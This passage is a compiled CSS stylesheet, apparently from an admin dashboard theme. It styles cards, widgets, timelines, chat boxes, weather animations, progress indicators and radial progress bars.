        .card .card-header .card-search.with-adv-search .adv-search-wrap.show {
          display: block; }
    .card .card-header.note-toolbar {
      padding: 0 0 5px 5px; }
    .card .card-header .dropdown .checkbox-dropdown {
      padding: 0px;
      width: 16px;
      height: 16px;
      background-color: #dee2e6;
      border-radius: .25rem;
      margin-right: 15px; }
  .card .card-body {
    padding: 20px 20px;
    flex: 1 1 auto;
    position: relative; }
  .card .card-img {
    height: 100%;
    object-fit: cover;
    max-height: 200px;
    width: unset;
    border-radius: 4px;
    -webkit-border-radius: 4px;
    -moz-border-radius: 4px; }
  .card .card-img-overlay {
    background: rgba(0, 0, 0, 0.5);
    padding: 1.75rem;
    border-radius: 4px; }
  .card.icon-card .card-body i {
    font-size: 46px;
    line-height: 66px;
    color: #212121; }
  .card.icon-card .card-body .card-text {
    color: #8f8f8f;
    height: 30px;
    line-height: 26px; }
  .card.icon-card .card-body .lead {
    color: #212121;
    margin-bottom: 0; }
  .card .nav-pills.custom-pills {
    border-bottom: 1px solid #f1f1f1; }
    .card .nav-pills.custom-pills .nav-link {
      border-radius: 0;
      opacity: .7;
      font-size: 14px;
      padding: 12px 15px; }
      .card .nav-pills.custom-pills .nav-link.active {
        color: #ef4153;
        opacity: 1;
        background-color: transparent;
        border-bottom: 2px solid #ef4153; }

.widget {
  border-color: #ffff;
  position: relative;
  width: 100%;
  border: none;
  margin-bottom: 30px;
  background-color: #fff;
  overflow: hidden;
  -webkit-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  box-shadow: 0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06);
  -moz-transition: all 0.5s ease-in-out;
  -o-transition: all 0.5s ease-in-out;
  -webkit-transition: all 0.5s ease-in-out;
  transition: all 0.5s ease-in-out;
  border-radius: 4px;
  -webkit-border-radius: 4px;
  -moz-border-radius: 4px; }
  .widget .widget-header {
    padding: 10px 20px;
    border-bottom: 1px solid #f5f7f9;
    position: relative; }
    .widget .widget-header .widget-title {
      font-size: 18px;
      margin: 0; }
    .widget .widget-header .widget-tools {
      position: absolute;
      right: 10px;
      top: 5px; }
      .widget .widget-header .widget-tools .btn-widget-tool {
        padding: 5px;
        font-size: 16px;
        background: transparent;
        color: #97a0b3; }
        .widget .widget-header .widget-tools .btn-widget-tool i {
          margin: 0; }
        .widget .widget-header .widget-tools .btn-widget-tool:focus {
          -webkit-box-shadow: none;
          -moz-box-shadow: none;
          box-shadow: none; }
  .widget .widget-body {
    padding: 20px 20px; }
    .widget .widget-body h6 {
      margin-bottom: 0;
      font-weight: 400; }
    .widget .widget-body h2 {
      margin-bottom: 0px;
      font-weight: 600; }
    .widget .widget-body .icon {
      font-size: 37px;
      color: #9aa0ac; }
    .widget .widget-body .overlay {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      background: rgba(0, 0, 0, 0.22);
      text-align: center;
      z-index: 3;
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-justify-content: center;
      -moz-justify-content: center;
      -ms-justify-content: center;
      justify-content: center;
      -ms-flex-pack: center;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center;
      -webkit-flex-direction: column;
      -moz-flex-direction: column;
      -ms-flex-direction: column;
      flex-direction: column; }
      .widget .widget-body .overlay i {
        font-size: 32px;
        color: #ef4153;
        margin-bottom: 5px; }
  .widget .progress {
    border-radius: 0; }
  .widget[class*=bg-] .widget-header {
    background-color: rgba(255, 255, 255, 0.2);
    border-bottom-color: transparent; }
    .widget[class*=bg-] .widget-header .widget-title {
      color: #fff; }
    .widget[class*=bg-] .widget-header .widget-tools .btn-widget-tool {
      color: rgba(255, 255, 255, 0.6); }
  .widget[class*=bg-] .widget-body {
    color: #ffffff; }
    .widget[class*=bg-] .widget-body .icon {
      color: #ffffff; }
  .widget.social-widget .widget-body {
    text-align: center; }

.loading {
  -webkit-animation-name: loading;
  animation-name: loading;
  -webkit-animation-duration: .75s;
  animation-duration: .75s;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  -webkit-animation-timing-function: linear;
  animation-timing-function: linear; }

@-webkit-keyframes loading {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg); }
  to {
    -webkit-transform: rotate(1turn);
    transform: rotate(1turn); } }
@keyframes loading {
  0% {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg); }
  to {
    -webkit-transform: rotate(1turn);
    transform: rotate(1turn); } }
.card-group .card:not(:last-child) {
  border-right: 1px solid #f1f1f1; }

.card .card-header {
  border-bottom: 1px solid #f1f1f1; }
  .card .card-header .card-header-right {
    right: 10px;
    top: 16px;
    display: inline-block;
    float: right;
    position: absolute; }
    .card .card-header .card-header-right .card-option {
      width: 35px;
      height: 25px;
      overflow: hidden;
      margin: 0;
      -moz-transition: 0.3s ease-in-out;
      -o-transition: 0.3s ease-in-out;
      -webkit-transition: 0.3s ease-in-out;
      transition: 0.3s ease-in-out; }
      .card .card-header .card-header-right .card-option li {
        display: inline-block; }
        .card .card-header .card-header-right .card-option li i {
          margin: 0 5px;
          cursor: pointer;
          font-size: 15px;
          color: #8c8c8c;
          line-height: 2;
          font-weight: 300; }
.card .card-block {
  padding: 1.25rem; }
.card .card-body .icon {
  font-size: 37px;
  color: #9aa0ac; }
.card .feeds-widget {
  padding: 0; }
  .card .feeds-widget .feed-item {
    display: block;
    padding: 12px 15px;
    border: 1px solid #efefef;
    border-left: 0;
    border-right: 0; }
    .card .feeds-widget .feed-item a {
      display: -webkit-box;
      display: -moz-box;
      display: -ms-flexbox;
      display: -webkit-flex;
      display: flex;
      -webkit-align-items: center;
      -moz-align-items: center;
      -ms-align-items: center;
      align-items: center; }
      .card .feeds-widget .feed-item a .feeds-left {
        width: 50px;
        font-size: 30px; }
      .card .feeds-widget .feed-item a .feeds-body {
        width: 100%; }
        .card .feeds-widget .feed-item a .feeds-body h4 {
          font-size: 16px;
          margin: 0;
          font-weight: 700;
          margin-bottom: 5px; }
          .card .feeds-widget .feed-item a .feeds-body h4 ~ small {
            text-overflow: ellipsis;
            white-space: nowrap;
            overflow: hidden;
            width: calc(100% - 60px);
            font-size: 13px;
            color: #777; }
    .card .feeds-widget .feed-item.feed-item {
      margin-top: -1px; }
.card .timeline .header {
  background-size: cover;
  color: #fff;
  position: relative; }
  .card .timeline .header .color-overlay {
    padding: 2em;
    box-sizing: border-box;
    background: rgba(123, 94, 155, 0.5);
    line-height: normal; }
    .card .timeline .header .color-overlay .day-number {
      font-size: 6em;
      margin-right: 15px;
      display: inline-block;
      font-weight: 700;
      line-height: 1; }
    .card .timeline .header .color-overlay .date-right {
      display: inline-block; }
      .card .timeline .header .color-overlay .date-right .day-name {
        font-size: 22px; }
      .card .timeline .header .color-overlay .date-right .month {
        text-transform: uppercase;
        margin-top: 2px; }
.card .timeline ul {
  list-style: none;
  position: relative;
  padding-left: 30px;
  padding-top: 10px;
  margin: 0; }
  .card .timeline ul:before, .card .timeline ul::before {
    content: ' ';
    height: 100%;
    width: 1px;
    background-color: #f0f0f0;
    position: absolute;
    top: 0;
    left: 35px;
    z-index: 1; }
  .card .timeline ul li {
    padding-bottom: 15px; }
    .card .timeline ul li .bullet {
      width: 10px;
      height: 10px;
      display: inline-block;
      z-index: 2;
      position: relative;
      vertical-align: top;
      margin: 7px 0;
      margin-right: 5px;
      border-radius: 50%;
      -webkit-border-radius: 50%;
      -moz-border-radius: 50%; }
    .card .timeline ul li .time {
      width: 20%;
      font-size: 10px;
      margin: 6px 0;
      vertical-align: top;
      display: inline-block; }
    .card .timeline ul li .desc {
      width: 65%;
      display: inline-block; }
      .card .timeline ul li .desc h3 {
        margin: 0;
        font-size: 14px;
        font-weight: 700; }
      .card .timeline ul li .desc h4 {
        margin-top: 5px;
        font-size: 12px;
        color: #999; }
.card .task-list {
  margin: 0;
  padding: 0; }
  .card .task-list li {
    display: block;
    padding: 15px 0 15px 0;
    margin: 0;
    cursor: pointer; }
    .card .task-list li:first-child {
      padding-top: 0; }
    .card .task-list li.list span {
      float: left;
      margin-top: 20px;
      color: #FF7E39; }
      .card .task-list li.list span:before, .card .task-list li.list span::before {
        font-size: 1.5rem;
        content: "\e83f";
        font-family: 'iconkit';
        vertical-align: middle;
        border: 3px solid #FF7E39;
        padding: 4px;
        border-radius: 50%;
        -webkit-border-radius: 50%;
        -moz-border-radius: 50%; }
    .card .task-list li.list .task-details {
      margin-left: 60px; }
      .card .task-list li.list .task-details p {
        margin: 0;
        padding: 10px 0 6px 0;
        line-height: 140%; }
        .card .task-list li.list .task-details p.date {
          padding: 0;
          margin: 0;
          font-size: .75rem; }
    .card .task-list li.completed {
      text-decoration: line-through;
      color: #8796af;
      -moz-transition: all 0.3s ease-out;
      -o-transition: all 0.3s ease-out;
      -webkit-transition: all 0.3s ease-out;
      transition: all 0.3s ease-out; }
      .card .task-list li.completed span:before, .card .task-list li.completed span::before {
        color: #50b924;
        border: 3px solid #50b924; }
.card .chat-box .chat-list {
  margin: 0;
  padding: 0;
  list-style: none; }
  .card .chat-box .chat-list .chat-item {
    list-style: none;
    margin-top: 30px; }
    .card .chat-box .chat-list .chat-item .chat-img {
      display: inline-block;
      width: 45px;
      vertical-align: top; }
      .card .chat-box .chat-list .chat-item .chat-img img {
        width: 45px;
        border-radius: 100%;
        -webkit-border-radius: 100%;
        -moz-border-radius: 100%; }
    .card .chat-box .chat-list .chat-item .chat-content {
      width: calc(100% - 50px);
      display: inline-block;
      padding-left: 15px; }
      .card .chat-box .chat-list .chat-item .chat-content .box {
        display: inline-block;
        padding: 10px;
        margin-bottom: 3px;
        color: #343a40;
        background: #f6f8f9;
        border-radius: 6px;
        -webkit-border-radius: 6px;
        -moz-border-radius: 6px; }
    .card .chat-box .chat-list .chat-item .chat-time {
      display: block;
      font-size: 10px;
      color: #4F5467;
      margin: 5px 0 15px 65px; }
    .card .chat-box .chat-list .chat-item.odd .chat-content {
      text-align: right;
      width: calc(100% - 0px); }
      .card .chat-box .chat-list .chat-item.odd .chat-content .box {
        clear: both;
        color: #fff;
        background: #137eff; }
    .card .chat-box .chat-list .chat-item.odd .chat-time {
      text-align: right; }
    .card .chat-box .chat-list .chat-item.odd + .odd {
      margin-top: 0; }
    .card .chat-box .chat-list .chat-item:first-child {
      margin-top: 0; }
.card .chat-footer {
  position: relative;
  background-color: #ffffff; }
  .card .chat-footer .input-wrap {
    padding-right: 50px; }
  .card .chat-footer .btn {
    position: absolute;
    top: 10px;
    right: 20px;
    width: 35px;
    height: 35px; }
.card .card-title {
  font-size: 18px; }
.card .card-subtitle {
  font-weight: 300;
  margin-bottom: 10px;
  color: #afb5c1; }

.jvectormap-tip {
  border: none;
  font-family: 'Nunito Sans', sans-serif;
  font-weight: 700;
  padding: 5px 10px;
  font-size: 11px; }

.chart-line .ct-grid {
  stroke-dasharray: 0;
  stroke: rgba(255, 255, 255, 0.5); }
.chart-line .ct-point {
  stroke-width: 0; }
.chart-line .ct-line {
  stroke: #FFF;
  stroke-width: 3px; }

.chart-shadow {
  transition: all 0.3s ease-in-out;
  filter: drop-shadow(0px 5px 2px rgba(43, 43, 43, 0.2)); }

.card-blue, .card-green, .card-red, .card-yellow {
  position: relative;
  overflow: hidden; }
  .card-blue:after, .card-green:after, .card-red:after, .card-yellow:after {
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1; }
  .card-blue .card-block,
  .card-blue .card-block-big,
  .card-blue .card-block-small,
  .card-blue .card-body,
  .card-blue .card-footer,
  .card-blue .card-header, .card-green .card-block,
  .card-green .card-block-big,
  .card-green .card-block-small,
  .card-green .card-body,
  .card-green .card-footer,
  .card-green .card-header, .card-red .card-block,
  .card-red .card-block-big,
  .card-red .card-block-small,
  .card-red .card-body,
  .card-red .card-footer,
  .card-red .card-header, .card-yellow .card-block,
  .card-yellow .card-block-big,
  .card-yellow .card-block-small,
  .card-yellow .card-body,
  .card-yellow .card-footer,
  .card-yellow .card-header {
    position: relative;
    z-index: 5; }
.card-red::after {
  background: #f5365c; }
.card-red .ct-line {
  stroke: #fff; }
.card-red .ct-grid {
  stroke: #f97f97; }
.card-blue::after {
  background: #007bff; }
.card-blue .ct-line {
  stroke: #fff; }
.card-blue .ct-grid {
  stroke: #4da3ff; }
.card-green::after {
  background: #2dce89; }
.card-green .ct-line {
  stroke: #fff; }
.card-green .ct-grid {
  stroke: #69deac; }
.card-yellow::after {
  background: #fb6340; }
.card-yellow .ct-line {
  stroke: #fff; }
.card-yellow .ct-grid {
  stroke: #fda08b; }

.proj-progress-card .progress {
  height: 6px;
  overflow: visible;
  margin-bottom: 10px; }
  .proj-progress-card .progress .progress-bar {
    position: relative; }
    .proj-progress-card .progress .progress-bar:after {
      content: "";
      background: #fff;
      position: absolute;
      right: -6px;
      top: -4px;
      border-radius: 50%;
      width: 15px;
      height: 15px; }
    .proj-progress-card .progress .progress-bar.bg-red:after {
      border: 3px solid #f5365c; }
    .proj-progress-card .progress .progress-bar.bg-blue:after {
      border: 3px solid #007bff; }
    .proj-progress-card .progress .progress-bar.bg-green:after {
      border: 3px solid #2dce89; }
    .proj-progress-card .progress .progress-bar.bg-yellow:after {
      border: 3px solid #fb6340; }
@media only screen and (max-width: 992px) {
  .proj-progress-card h6 {
    margin-top: 15px; }
  .proj-progress-card .progress {
    margin-bottom: 30px; } }

.sos-st-card h3 {
  display: inline-block; }
  .sos-st-card h3 i {
    color: #fff;
    font-size: 18px;
    width: 60px;
    height: 60px;
    border-radius: 50%;
    padding: 12px 0;
    text-align: center;
    margin-right: 15px;
    border: 10px solid transparent;
    transition: all 0.3s ease-in-out; }
.sos-st-card h5 {
  position: relative; }
  .sos-st-card h5:after {
    content: "";
    background: #d2d2d2;
    position: absolute;
    top: -20px;
    right: -15px;
    width: 1px;
    height: 60px; }
.sos-st-card.facebook h3 {
  color: #3b579d; }
  .sos-st-card.facebook h3 i {
    background-color: #3b579d;
    border-color: #869cd2; }
.sos-st-card.twitter h3 {
  color: #1da1f2; }
  .sos-st-card.twitter h3 i {
    background-color: #1da1f2;
    border-color: #96d3f9; }
.sos-st-card.linkedin h3 {
  color: #0177b4; }
  .sos-st-card.linkedin h3 i {
    background-color: #0177b4;
    border-color: #37bafe; }
.sos-st-card.dribble h3 {
  color: #ea4c89; }
  .sos-st-card.dribble h3 i {
    background-color: #ea4c89;
    border-color: #f7bed4; }
.sos-st-card:hover h3 i {
  transform: scale(1.2) rotate(35deg); }
@media only screen and (max-width: 768px) {
  .sos-st-card h3 i {
    font-size: 16px;
    width: 35px;
    height: 35px;
    padding: 7px 0;
    margin-right: 0;
    border-width: 3px;
    margin-left: -10px; }
  .sos-st-card h5:after {
    display: none; } }

.wather-card {
  overflow: hidden; }
  .wather-card .wather-card-top {
    position: relative;
    overflow: hidden;
    min-height: 200px;
    background: linear-gradient(to bottom, #7a9af5, rgba(90, 179, 243, 0.5)); }
    .wather-card .wather-card-top .wave {
      position: absolute;
      left: 0;
      right: 0;
      top: auto;
      bottom: 0;
      z-index: 1; }
      .wather-card .wather-card-top .wave + .wave {
        z-index: 2; }
        .wather-card .wather-card-top .wave + .wave + .wave {
          z-index: 3; }
    .wather-card .wather-card-top .sun {
      background: #fff;
      position: absolute;
      top: 50px;
      left: 50px;
      width: 30px;
      height: 30px;
      border-radius: 50%; }
      .wather-card .wather-card-top .sun:after, .wather-card .wather-card-top .sun:before {
        content: "";
        width: 100%;
        height: 100%;
        border-radius: 50%;
        position: absolute;
        box-shadow: inset 0 0 20px 5px rgba(255, 255, 255, 0.4); }
      .wather-card .wather-card-top .sun:after {
        animation: sunwawe 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; }
      .wather-card .wather-card-top .sun:before {
        animation: sunwawe 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;
        animation-delay: 1.15s; }
    .wather-card .wather-card-top .w-star1,
    .wather-card .wather-card-top .w-star2 {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%; }
    .wather-card .wather-card-top .w-star1 {
      animation: sparcle 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite; }
    .wather-card .wather-card-top .w-star2 {
      animation: sparcle 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;
      animation-delay: 1.15s; }
    .wather-card .wather-card-top .w-cloud {
      position: absolute;
      right: 30px;
      top: 60px;
      opacity: 0;
      animation: w-cluod 15s linear infinite; }

@keyframes w-cluod {
  0% {
    opacity: 0;
    transform: translate(0px, 0px); }
  20% {
    opacity: 0.8;
    transform: translate(30px, -25px); }
  40% {
    opacity: 1;
    transform: translate(0px, 0px); }
  60% {
    opacity: 0.6;
    transform: translate(-30px, 25px); }
  80% {
    opacity: 0.5;
    transform: translate(0px, 0px); }
  80% {
    opacity: 0;
    transform: translate(0px, 0px); } }
@keyframes sparcle {
  0% {
    opacity: 1; }
  50% {
    opacity: 0; } }
@keyframes sunwawe {
  0% {
    transform: scale(1);
    opacity: 1; }
  100% {
    transform: scale(4);
    opacity: 0; } }
.comp-card i {
  color: #fff;
  width: 50px;
  height: 50px;
  border-radius: 5px;
  text-align: center;
  padding: 17px 0;
  font-size: 18px;
  text-shadow: 0 6px 8px rgba(62, 57, 107, 0.18);
  transition: all 0.3s ease-in-out; }
.comp-card:hover i {
  border-radius: 50%; }

.proj-t-card {
  position: relative;
  overflow: hidden; }
  .proj-t-card .pt-badge {
    color: #fff;
    margin-bottom: 0;
    display: inline-block;
    padding: 60px 50px 20px 20px;
    border-radius: 50%;
    position: absolute;
    top: -45px;
    right: -35px;
    transition: all 0.3s ease-in-out;
    box-shadow: 0 5px 7px 0 rgba(62, 57, 107, 0.18); }
  .proj-t-card:hover .pt-badge {
    padding: 65px 55px 30px 30px;
    text-shadow: 0 3px 5px rgba(62, 57, 107, 0.5);
    box-shadow: 0 4px 4px 0 rgba(62, 57, 107, 0.3); }

.prod-p-card i {
  background-color: #fff;
  width: 40px;
  height: 40px;
  border-radius: 50%;
  text-align: center;
  padding: 11px 0;
  font-size: 18px;
  transition: all 0.3s ease-in-out;
  box-shadow: 0 8px 15px rgba(62, 57, 107, 0.2); }
.prod-p-card:hover i {
  box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2);
  transform: scale(0.9) translatey(5px); }

.ticket-card .lbl-card {
  box-shadow: 0 5px 4px -2px rgba(51, 51, 51, 0.16);
  border-radius: 5px;
  padding: 5px 15px;
  color: #fff;
  display: inline-block; }

.analytic-card .analytic-icon {
  width: 50px;
  height: 50px;
  text-align: center;
  padding: 17px 0;
  border-radius: 50%;
  background-color: #fff;
  transition: all 0.3s ease-in-out;
  box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); }
.analytic-card:hover .analytic-icon {
  box-shadow: 0 4px 4px rgba(62, 57, 107, 0.2);
  transform: rotate(-15deg) translatey(5px); }

.social-res-card .progress {
  height: 6px; }

.product-progress-card .progress {
  height: 6px; }
.product-progress-card .pp-cont {
  padding-left: 15px;
  padding-right: 15px;
  position: relative; }
  .product-progress-card .pp-cont:after {
    content: "";
    background: #d2d2d2;
    width: 1px;
    height: 100%;
    position: absolute;
    top: 0;
    left: -15px; }
.product-progress-card .pp-main > div:first-child .pp-cont:after {
  display: none; }
@media only screen and (max-width: 992px) {
  .product-progress-card .pp-cont {
    margin-top: 15px;
    margin-bottom: 15px; }
    .product-progress-card .pp-cont:after {
      display: none; } }

.social-card h2 {
  text-shadow: 0 8px 15px rgba(51, 51, 51, 0.2);
  transition: all 0.3s ease-in-out; }
.social-card:hover h2 {
  text-shadow: 0 4px 4px rgba(51, 51, 51, 0.2);
  transform: scale(0.9) translatey(5px); }

.user-card {
  overflow: hidden; }
  .user-card .user-img {
    border-radius: 50%;
    display: flex;
    align-items: center;
    width: 80px;
    height: 80px;
    margin: 0 auto;
    position: relative;
    box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); }
    .user-card .user-img h5 {
      margin: 0 auto; }
    .user-card .user-img .link-share {
      position: absolute;
      padding: 4px 0;
      right: 0;
      bottom: 0;
      border-radius: 50%;
      width: 25px;
      height: 25px;
      background: #fff;
      color: #666;
      box-shadow: 0 8px 15px 0 rgba(51, 51, 51, 0.2); }
  .user-card .user-sub-img {
    position: relative;
    margin: 30px 0 10px;
    padding-top: 30px; }
    .user-card .user-sub-img > img {
      width: 30px;
      cursor: pointer;
      margin: 5px; }
    .user-card .user-sub-img:after {
      content: "";
      width: 30px;
      height: 1px;
      background: #2b2b2b;
      position: absolute;
      top: 0;
      right: calc(50% - 15px); }
  .user-card .f-btn {
    cursor: pointer;
    transition: all 0.3s ease-in-out; }
    .user-card .f-btn a {
      transition: all 0.3s ease-in-out; }
    .user-card .f-btn:hover {
      background-color: #99caff;
      box-shadow: inset 0 5px 7px -3px rgba(43, 43, 43, 0.15); }
      .user-card .f-btn:hover a {
        color: #007bff; }

.soc-cont-card {
  color: #fff;
  position: relative;
  overflow: hidden; }
  .soc-cont-card .soc-slider {
    margin-right: 85px; }
  .soc-cont-card .soc-cont-icon {
    color: #fff;
    font-size: 50px;
    width: 100px;
    text-align: center;
    position: absolute;
    right: 0;
    top: 20px; }
  .soc-cont-card .num-block {
    background: #fff;
    color: #ef4153;
    padding: 8px 15px;
    display: inline-block;
    margin: 5px 0 10px;
    border-radius: 5px;
    box-shadow: inset 0 1px 3px -1px rgba(43, 43, 43, 0.25); }
    .soc-cont-card .num-block + .num-block {
      margin-left: 15px; }
    .soc-cont-card .num-block i {
      font-size: 16px;
      opacity: 1; }
  .soc-cont-card .card-block {
    margin-bottom: 20px;
    padding-bottom: 10px; }
  .soc-cont-card:after {
    content: "";
    background: rgba(255, 255, 255, 0.5);
    height: 20px;
    width: 100%;
    position: absolute;
    bottom: 0;
    left: 0; }
  @media only screen and (max-width: 575px) {
    .soc-cont-card .soc-slider {
      margin-right: 0; }
    .soc-cont-card .soc-cont-icon {
      font-size: 40px;
      width: 50px;
      top: auto;
      bottom: 35px; } }

.st-cir-card {
  position: relative;
  overflow: hidden; }
  .st-cir-card .st-bt-lbl {
    font-size: 60px;
    font-weight: 700;
    opacity: 0.3;
    position: absolute;
    bottom: -30px;
    right: -5px; }
  .st-cir-card .st-cir-chart {
    position: relative; }
    .st-cir-card .st-cir-chart h5 {
      position: absolute;
      margin-bottom: 0;
      top: 50%;
      left: 50%;
      transform: translate(-50%, -50%); }
  .st-cir-card .ct-series-a .ct-slice-donut {
    stroke: #fff; }
  .st-cir-card.card-red .ct-series-b path {
    stroke: #fa97ab; }
  .st-cir-card.card-blue .ct-series-b path {
    stroke: #66b0ff; }
  .st-cir-card.card-green .ct-series-b path {
    stroke: #7ee3b8; }
  .st-cir-card.card-yellow .ct-series-b path {
    stroke: #fdb5a4; }

.prod-bar-card .pbc-chart {
  width: 50px;
  margin: 0 auto 10px; }
.prod-bar-card .radial-bar:after {
  box-shadow: 0 0 3px #fff; }

.sale-card .s-chart {
  position: relative; }
  .sale-card .s-chart .bottom-line {
    background: #ccc;
    position: absolute;
    width: 80px;
    height: 3px;
    bottom: 30px;
    left: 50%;
    transform: translatex(-50%); }
.sale-card .radial-bar {
  margin: 15px 0 35px; }
  .sale-card .radial-bar > img {
    box-shadow: 0 0 0 8px #fff; }
.sale-card .s-caption {
  width: 20px;
  height: 20px;
  border-radius: 5px;
  display: inline-block;
  vertical-align: super;
  margin-right: 5px; }
.sale-card .progress {
  height: 5px; }
.sale-card .tot-rev-chart {
  position: relative;
  margin: 0 auto; }
  .sale-card .tot-rev-chart .ct-series-b path {
    stroke: #fff; }
  .sale-card .tot-rev-chart .ct-series-a .ct-slice-donut {
    stroke: #fb6340; }
  .sale-card .tot-rev-chart h3 {
    position: absolute;
    margin-bottom: 0;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%); }

.new-cust-card img {
  border: 2px solid #fff;
  box-shadow: 0 5px 10px 0 rgba(43, 43, 43, 0.2); }
.new-cust-card h6 {
  margin-bottom: 0; }
.new-cust-card .align-middle {
  position: relative; }
  .new-cust-card .align-middle .status {
    position: absolute;
    right: 0;
    top: 19px;
    font-size: 13px; }
    .new-cust-card .align-middle .status.active {
      width: 10px;
      height: 10px;
      border-radius: 50%;
      background: #2dce89; }

.table-card .card-block {
  padding-left: 0;
  padding-right: 0;
  padding-top: 0; }
  .table-card .card-block .table > thead > tr > th {
    border-top: 0; }
  .table-card .card-block .table tr td:first-child,
  .table-card .card-block .table tr th:first-child {
    padding-left: 20px; }
  .table-card .card-block .table tr td:last-child,
  .table-card .card-block .table tr th:last-child {
    padding-right: 20px; }
  .table-card .card-block .table.without-header tr:first-child td {
    border-top: none; }
.table-card .p-status {
  width: 10px;
  height: 10px;
  border-radius: 50%; }

.latest-update-card .card-block {
  padding-top: 0; }
  .latest-update-card .card-block .latest-update-box {
    position: relative; }
    .latest-update-card .card-block .latest-update-box:after {
      content: "";
      position: absolute;
      background: #ebebeb;
      height: 100%;
      width: 3px;
      top: 0;
      left: 19px;
      z-index: 1; }
    .latest-update-card .card-block .latest-update-box .update-meta {
      z-index: 2; }
      .latest-update-card .card-block .latest-update-box .update-meta .update-icon {
        width: 30px;
        height: 30px;
        border-radius: 50%;
        text-align: center;
        padding: 7px 8px;
        font-size: 16px;
        color: #fff; }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-red {
          box-shadow: 0 0 0 4px rgba(245, 54, 92, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-blue {
          box-shadow: 0 0 0 4px rgba(0, 123, 255, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-green {
          box-shadow: 0 0 0 4px rgba(45, 206, 137, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.bg-yellow {
          box-shadow: 0 0 0 4px rgba(251, 99, 64, 0.5); }
        .latest-update-card .card-block .latest-update-box .update-meta .update-icon.ring {
          border-width: 3px;
          width: 15px;
          height: 15px;
          padding: 0;
          display: block;
          margin-left: 13px;
          background: #fff; }
      .latest-update-card .card-block .latest-update-box .update-meta i.update-icon {
        margin-left: 4px;
        margin-right: 19px; }
      .latest-update-card .card-block .latest-update-box .update-meta img.update-icon {
        padding: 0;
        width: 40px;
        height: 40px; }
    @media only screen and (max-width: 575px) {
      .latest-update-card .card-block .latest-update-box:after {
        display: none; }
      .latest-update-card .card-block .latest-update-box .update-meta {
        z-index: 2;
        min-width: 100%;
        text-align: left !important;
        margin-bottom: 15px;
        border-top: 1px solid #f1f1f1;
        padding-top: 15px; } }

.testimonial-card .progress {
  height: 5px; }
.testimonial-card .review-block .cust-img {
  width: 50px;
  height: 50px; }
.testimonial-card .review-block > div {
  padding-top: 15px;
  padding-bottom: 15px;
  margin-left: 0;
  margin-right: 0;
  padding-left: 5px;
  padding-right: 5px; }
  .testimonial-card .review-block > div:hover {
    background-color: rgba(0, 123, 255, 0.1); }

.feed-card h6 {
  margin-top: 7px; }
.feed-card .feed-icon {
  color: #fff;
  border-radius: 50%;
  width: 30px;
  height: 30px;
  text-align: center;
  padding: 8px 9px; }

.chat-card .msg {
  margin-bottom: 5px;
  display: inline-block;
  padding: 10px;
  position: relative; }
  .chat-card .msg img {
    width: 60px;
    border-radius: 5px;
    margin-bottom: 5px;
    margin-top: 5px;
    margin-right: 10px; }
.chat-card .received-chat .msg {
  background: rgba(0, 123, 255, 0.1);
  border-radius: 0 5px 5px 5px;
  box-shadow: 2px 3px 7px 0 rgba(43, 43, 43, 0.15); }
  .chat-card .received-chat .msg:after {
    content: "";
    position: absolute;
    left: -7px;
    top: -7px;
    transform: rotate(45deg);
    border: 7px solid transparent;
    border-bottom-color: rgba(0, 123, 255, 0.1); }
.chat-card .send-chat {
  text-align: right; }
  .chat-card .send-chat .msg {
    background: rgba(45, 206, 137, 0.1);
    border-radius: 5px 0 5px 5px;
    box-shadow: -2px 3px 7px 0 rgba(43, 43, 43, 0.15); }
    .chat-card .send-chat .msg:after {
      content: "";
      position: absolute;
      right: -7px;
      top: -7px;
      transform: rotate(45deg);
      border: 7px solid transparent;
      border-right-color: rgba(45, 206, 137, 0.1); }

/* -------------------------------------
 * Bar container
 * ------------------------------------- */
.radial-bar {
  position: relative;
  display: inline-block;
  border-radius: 50%;
  background-color: transparent;
  margin-bottom: 20px;
  -webkit-box-sizing: content-box;
  -moz-box-sizing: content-box;
  box-sizing: content-box;
  width: 80px;
  height: 80px;
  font-size: 18px; }

.radial-bar:after,
.radial-bar > img {
  display: inline-block;
  position: absolute;
  top: 0;
  left: 0;
  border-radius: 50%;
  text-align: center;
  font-weight: 500;
  color: #455a64; }

.radial-bar:after {
  content: attr(data-label);
  background-color: #fff;
  z-index: 55; }

.radial-bar > img {
  z-index: 102; }

.radial-bar:after,
.radial-bar > img {
  width: 56px;
  height: 56px;
  margin-left: 12px;
  margin-top: 12px;
  line-height: 56px; }

.radial-bar.radial-bar-0 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(90deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-5 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(108deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

.radial-bar.radial-bar-10 {
  background-image: linear-gradient(90deg, #d6d6d6 50%, transparent 50%, transparent), linear-gradient(126deg, #448aff 50%, #d6d6d6 50%, #d6d6d6); }

